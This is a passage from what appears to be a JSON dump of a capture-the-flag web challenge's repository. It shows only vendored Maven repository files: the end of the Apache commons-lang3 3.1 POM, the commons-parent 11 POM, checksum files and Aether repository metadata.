<name>Morgan Delagrange</name>\n    </contributor>\n    <contributor>\n      <name>Ringo De Smet</name>\n    </contributor>\n    <contributor>\n      <name>Russel Dittmar</name>\n    </contributor>\n    <contributor>\n      <name>Steve Downey</name>\n    </contributor>\n    <contributor>\n      <name>Matthias Eichel</name>\n    </contributor>\n    <contributor>\n      <name>Christopher Elkins</name>\n    </contributor>\n    <contributor>\n      <name>Chris Feldhacker</name>\n    </contributor>\n    <contributor>\n      <name>Roland Foerther</name>\n    </contributor>\n    <contributor>\n      <name>Pete Gieser</name>\n    </contributor>\n    <contributor>\n      <name>Jason Gritman</name>\n    </contributor>\n    <contributor>\n      <name>Matthew Hawthorne</name>\n    </contributor>\n    <contributor>\n      <name>Michael Heuer</name>\n    </contributor>\n    <contributor>\n      <name>Chris Hyzer</name>\n    </contributor>\n    <contributor>\n      <name>Paul Jack</name>\n    </contributor>\n    <contributor>\n      <name>Marc Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Shaun Kalley</name>\n    </contributor>\n    <contributor>\n      <name>Tetsuya Kaneuchi</name>\n    </contributor>\n    <contributor>\n      <name>Nissim Karpenstein</name>\n    </contributor>\n    <contributor>\n      <name>Ed Korthof</name>\n    </contributor>\n    <contributor>\n      <name>Holger Krauth</name>\n    </contributor>\n    <contributor>\n      <name>Rafal Krupinski</name>\n    </contributor>\n    <contributor>\n      <name>Rafal Krzewski</name>\n    </contributor>\n    <contributor>\n      <name>David Leppik</name>\n    </contributor>\n    <contributor>\n      <name>Eli Lindsey</name>\n    </contributor>\n    <contributor>\n      <name>Sven Ludwig</name>\n    </contributor>\n    <contributor>\n      <name>Craig R. McClanahan</name>\n    </contributor>\n    <contributor>\n      <name>Rand McNeely</name>\n    </contributor>\n    <contributor>\n      <name>Hendrik Maryns</name>\n    </contributor>\n    <contributor>\n      <name>Dave Meikle</name>\n    </contributor>\n    <contributor>\n      <name>Nikolay Metchev</name>\n    </contributor>\n    <contributor>\n      <name>Kasper Nielsen</name>\n    </contributor>\n    <contributor>\n      <name>Tim O'Brien</name>\n    </contributor>\n    <contributor>\n      <name>Brian S O'Neill</name>\n    </contributor>\n    <contributor>\n      <name>Andrew C. Oliver</name>\n    </contributor>\n    <contributor>\n      <name>Alban Peignier</name>\n    </contributor>\n    <contributor>\n      <name>Moritz Petersen</name>\n    </contributor>\n    <contributor>\n      <name>Dmitri Plotnikov</name>\n    </contributor>\n    <contributor>\n      <name>Neeme Praks</name>\n    </contributor>\n    <contributor>\n      <name>Eric Pugh</name>\n    </contributor>\n    <contributor>\n      <name>Stephen Putman</name>\n    </contributor>\n    <contributor>\n      <name>Travis Reeder</name>\n    </contributor>\n    <contributor>\n      <name>Antony Riley</name>\n    </contributor>\n    <contributor>\n      <name>Valentin Rocher</name>\n    </contributor>\n    <contributor>\n      <name>Scott Sanders</name>\n    </contributor>\n    <contributor>\n      <name>Ralph Schaer</name>\n    </contributor>\n    <contributor>\n      <name>Henning P. Schmiedehausen</name>\n    </contributor>\n    <contributor>\n      <name>Sean Schofield</name>\n    </contributor>\n    <contributor>\n      <name>Robert Scholte</name>\n    </contributor>\n    <contributor>\n      <name>Reuben Sivan</name>\n    </contributor>\n    <contributor>\n      <name>Ville Skytta</name>\n    </contributor>\n    <contributor>\n      <name>David M. Sledge</name>\n    </contributor>\n    <contributor>\n      <name>Michael A. Smith</name>\n    </contributor>\n    <contributor>\n      <name>Jan Sorensen</name>\n    </contributor>\n    <contributor>\n      <name>Glen Stampoultzis</name>\n    </contributor>\n    <contributor>\n      <name>Scott Stanchfield</name>\n    </contributor>\n    <contributor>\n      <name>Jon S. Stevens</name>\n    </contributor>\n    <contributor>\n      <name>Sean C. Sullivan</name>\n    </contributor>\n    <contributor>\n      <name>Ashwin Suresh</name>\n    </contributor>\n    <contributor>\n      <name>Helge Tesgaard</name>\n    </contributor>\n    <contributor>\n      <name>Arun Mammen Thomas</name>\n    </contributor>\n    <contributor>\n      <name>Masato Tezuka</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Varszegi</name>\n    </contributor>\n    <contributor>\n      <name>Chris Webb</name>\n    </contributor>\n    <contributor>\n      <name>Mario Winterer</name>\n    </contributor>\n    <contributor>\n      <name>Stepan Koltsov</name>\n    </contributor>\n    <contributor>\n      <name>Holger Hoffstatte</name>\n    </contributor>\n    <contributor>\n      <name>Derek C. Ashmore</name>\n    </contributor>\n  </contributors>\n\n  <!-- Lang should depend on very little -->\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.10</version>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>commons-io</groupId>\n      <artifactId>commons-io</artifactId>\n      <version>2.1</version>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.easymock</groupId>\n      <artifactId>easymock</artifactId>\n      <version>3.0</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <properties>\n    <project.build.sourceEncoding>ISO-8859-1</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <maven.compile.source>1.5</maven.compile.source>\n    <maven.compile.target>1.5</maven.compile.target>\n    <commons.componentid>lang3</commons.componentid>\n    <commons.release.version>3.1</commons.release.version>\n    <commons.release.desc>(Java 5.0+)</commons.release.desc>\n    <commons.jira.id>LANG</commons.jira.id>\n    <commons.jira.pid>12310481</commons.jira.pid>\n  </properties>\n\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>plain</id>\n            <configuration>\n              <includes>\n                <include>**/*Test.java</include>\n              </includes>\n            </configuration>\n          </execution>\n          <!-- <execution> <id>security-manager-test</id> <phase>integration-test</phase> <goals> <goal>test</goal> </goals> <configuration> \n            <includes> <include>**/*Test.java</include> </includes> <argLine>-Djava.security.manager -Djava.security.policy=${basedir}/src/test/resources/java.policy</argLine> \n            </configuration> </execution> -->\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/assembly/bin.xml</descriptor>\n            <descriptor>src/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>test-jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>2.6</version>\n        <configuration>\n          <xmlPath>${basedir}/src/site/changes/changes.xml</xmlPath>\n          <issueLinkTemplatePerSystem>\n            <default>%URL%/%ISSUE%</default>\n          </issueLinkTemplatePerSystem>\n          <template>release-notes.vm</template>\n          <templateDirectory>templates</templateDirectory>\n          <!-- Give the output file its proper name -->\n          <announcementFile>RELEASE-NOTES.txt</announcementFile>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>2.7</version>\n        <configuration>\n          <configLocation>${basedir}/checkstyle.xml</configLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n        </configuration>\n      </plugin>\n      <!-- Requires setting 'export MAVEN_OPTS=\"-Xmx512m\" ' -->\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>2.3.2</version>\n        <configuration>\n          <threshold>Normal</threshold>\n          <effort>Default</effort>\n          <excludeFilterFile>${basedir}/findbugs-exclude-filter.xml</excludeFilterFile>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>2.5.1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>2.3</version>\n        <configuration>\n          <minSeverity>info</minSeverity>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-pmd-plugin</artifactId>\n        <version>2.5</version>\n        <configuration>\n          <targetJdk>${maven.compile.target}</targetJdk>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>pmd</report>\n              <report>cpd</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>taglist-maven-plugin</artifactId>\n        <version>2.4</version>\n        <configuration>\n          <tags>\n            <tag>TODO</tag>\n            <tag>NOPMD</tag>\n            <tag>NOTE</tag>\n          </tags>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>javancss-maven-plugin</artifactId>\n        <version>2.0</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-lang3/3.1/commons-lang3-3.1.pom.sha1",
    "content": "49405dd14bd8d02991d6b9e327206500852f7bfb"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/11/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:51 CST 2018\ncommons-parent-11.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/11/commons-parent-11.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <!-- TODO: dummy version. In Maven 2.1, this will be auto-versioned being a generic parent -->\n  <version>11</version>\n  <name>Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <inceptionYear>2001</inceptionYear>\n\n  <ciManagement>\n    <system>continuum</system>\n    <url>http://vmbuild.apache.org/continuum/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <!--\n      This POM's parent POM (the Apache root POM) provides repositories. Unfortunately,\n      this allows for accidental deployments. So we disable them here by providing\n      a dummy repository. Use \"mvn -Prc deploy\" (Apache snapshot repository) or\n      \"mvn -Prelease deploy\" (Apache release repository), if you really want to deploy.\n    -->\n    <repository>\n      <id>dummy</id>\n      <name>Dummy to avoid accidental deploys</name>\n      <url />\n    </repository>\n  </distributionManagement>\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-11</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-11</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-11</url>\n  </scm>\n\n  <mailingLists>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.users/</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.dev/</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <post>issues@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.issues/</otherArchive>\n        <otherArchive>http://www.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <post>commits@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.commits/</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <resources>\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>${maven.compile.source}</source>\n            <target>${maven.compile.target}</target>\n            <encoding>${commons.encoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>1.4.0</version>\n          <inherited>true</inherited>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.1</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- TODO: later use toolchain support to do compilation on an external JDK 1.3+ compiler -->\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <X-Compile-Source-JDK>${maven.compile.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compile.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <excludeDependencies>true</excludeDependencies>\n          <manifestLocation>target/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-idea-plugin</artifactId>\n        <configuration>\n          <jdkLevel>${maven.compile.source}</jdkLevel>\n        </configuration>\n      </plugin>\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <tasks>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </tasks>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.0.1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.4</version>\n        <configuration> \n          <aggregate>false</aggregate>\n          <source>${maven.compile.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docEncoding>${commons.docEncoding}</docEncoding>\n          <linksource>true</linksource>\n          <links>\n            <link>http://java.sun.com/javase/6/docs/api/</link>\n          </links>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>2.1</version>\n        <configuration> \n          <aggregate>false</aggregate>\n        </configuration> \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>2.0-beta-6</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>2.4.3</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>2.0-beta-1</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n        <version>1.0-alpha-3</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>ci</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n    </profile>\n\n    <profile>\n      <id>release</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.releases</id>\n          <name>Apache Release Distribution Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n        </repository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>rc</id>\n      <distributionManagement>\n        <repository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/staged</url>\n        </repository>\n        <snapshotRepository>\n          <id>apache.snapshots</id>\n          <name>Apache Development Snapshot Repository</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n        </snapshotRepository>\n      </distributionManagement>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>site</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prc</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-javadoc-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <phase>package</phase>\n                <configuration>\n                  <source>${maven.compile.source}</source>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>attached</goal>\n                </goals>\n                <phase>package</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <!--\n      Profile to build all Commons \"proper\" components.\n\n      The trunks of all \"proper\" components can be checked out using:\n          https://svn.apache.org/repos/asf/commons/trunks-proper/\n\n      This profile is a convience which can be used, for example, to build all the component sites:\n          mvn -Ptrunks-proper site\n\n      or, to clean up:\n          mvn -Ptrunks-proper clean\n\n      see http://issues.apache.org/jira/browse/COMMONSSITE-30\n      -->\n    <profile>\n      <id>trunks-proper</id>\n      <modules>\n        <module>../beanutils</module>\n        <module>../betwixt</module>\n        <module>../chain</module>\n        <module>../cli</module>\n        <module>../codec</module>\n        <module>../collections</module>\n        <module>../configuration</module>\n        <module>../daemon</module>\n        <module>../dbcp</module>\n        <module>../dbutils</module>\n        <module>../digester</module>\n        <module>../discovery</module>\n        <module>../el</module>\n        <module>../email</module>\n        <module>../exec</module>\n        <module>../fileupload</module>\n        <module>../io</module>\n        <module>../jci</module>\n        <module>../jexl</module>\n        <module>../jxpath</module>\n        <module>../lang</module>\n        <module>../launcher</module>\n        <module>../logging</module>\n        <module>../math</module>\n        <module>../modeler</module>\n        <module>../net</module>\n        <module>../pool</module>\n        <module>../primitives</module>\n        <module>../proxy</module>\n        <module>../scxml</module>\n        <module>../transaction</module>\n        <module>../validator</module>\n        <module>../vfs</module>\n      </modules>\n    </profile>\n  </profiles>\n\n  <properties>\n\n    <!-- Default configuration for compiler source and target JVM -->\n    <maven.compile.source>1.3</maven.compile.source>\n    <maven.compile.target>1.3</maven.compile.target>\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n\n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- The RC version used in the staging repository URL. -->\n    <commons.rc.version>RC1</commons.rc.version>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${pom.version}</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>target/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: Make sure, that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/11/commons-parent-11.pom.sha1",
    "content": "3f29657e1e3d6856344728ddbcf696477e943d59"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/12/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:53 CST 2018\ncommons-parent-12.pom>central=\n"
  },
  {
